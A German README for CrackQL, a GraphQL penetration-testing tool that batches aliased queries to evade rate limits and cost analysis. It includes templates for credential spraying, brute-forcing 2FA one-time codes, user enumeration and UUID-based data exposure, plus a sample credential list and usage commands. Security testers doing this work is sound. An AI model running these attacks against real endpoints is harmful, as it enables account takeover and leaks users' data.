
GraphQL-Penetrationstest-Tool, das schwache Ratenbegrenzungen und Kostenanalysen ausnutzt, um Anmeldeinformationen zu erraten, 2FA zu umgehen, Benutzer zu enumerieren und Operationen mittels gebündelter Alias-Abfragen zu fuzzen.
CrackQL ist ein GraphQL-Passwort-Brute-Force- und Fuzzing-Werkzeug.
CrackQL ist ein vielseitiges GraphQL-Penetrationstest-Werkzeug, das schlechte Ratenbegrenzungs- und Kostenanalyse-Kontrollen ausnutzt, um Anmeldeinformationen zu erraten und Operationen zu fuzzen.
CrackQL funktioniert, indem es automatisch eine einzelne GraphQL-Abfrage oder -Mutation in mehrere Alias-Operationen aufteilt. Die Anzahl der zu verwendenden Aliase wird basierend auf den CSV-Eingabevariablen bestimmt. Nachdem das gebündelte GraphQL-Dokument programmatisch erstellt wurde, bündelt und sendet CrackQL die Nutzlast(en) an die Ziel-GraphQL-API und analysiert die Ergebnisse und Fehler.
CrackQL kann für eine breite Palette von GraphQL-Angriffen verwendet werden, da es Nutzlasten basierend auf einer Liste dynamischer Eingaben programmatisch generiert.
Im Gegensatz zu Burp Intruder, der für jede einzelne Nutzlast eine Anfrage sendet, umgeht CrackQL herkömmliche API-HTTP-Ratenbegrenzungs-Überwachungen, indem es mehrere Alias-Abfragen verwendet, um große Sätze von Anmeldeinformationen in einzelne HTTP-Anfragen zu packen. Um Kostenanalyse-Abwehrmaßnahmen zu umgehen, kann CrackQL optimiert werden, indem eine Reihe kleinerer gebündelter Operationen (-b) sowie eine zeitliche Verzögerung (-D) verwendet werden.
CrackQL ist ideal gegen GraphQL-Bereitstellungen, die In-Band-GraphQL-Authentifizierungsoperationen (wie das GraphQL Authentication Module) nutzen. Das folgende Beispiel für Password-Spraying funktioniert gegen DVGA mit dem Wörterbuch sample-inputs/users-and-passwords.csv.
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
Es ist möglich, CrackQL zu verwenden, um die Zwei-Faktor-Authentifizierung zu umgehen, indem alle OTP-Token (Einmalpasswörter) gesendet werden.
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL kann auch für Enumeration-Angriffe verwendet werden, um gültige Benutzer-IDs, Benutzernamen und E-Mail-Adressen zu entdecken.
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL könnte verwendet werden, um eine große Anzahl potenzieller eindeutiger Identifikatoren zu durchlaufen und Objektinformationen preiszugeben.
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL kann für allgemeine Eingabe-Fuzzing-Operationen verwendet werden, beispielsweise zum Senden potenzieller SQLi- und XSS-Nutzlasten.
CrackQL generiert Nutzlasten basierend auf Eingabevariablen, die durch eine CSV-Datei definiert werden. CrackQL erfordert, dass der CSV-Header mit dem Eingabenamen übereinstimmt.
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
Verwende config.py, um HTTP-Cookies, Header oder Proxys zu setzen, falls der Endpunkt eine Authentifizierung erfordert.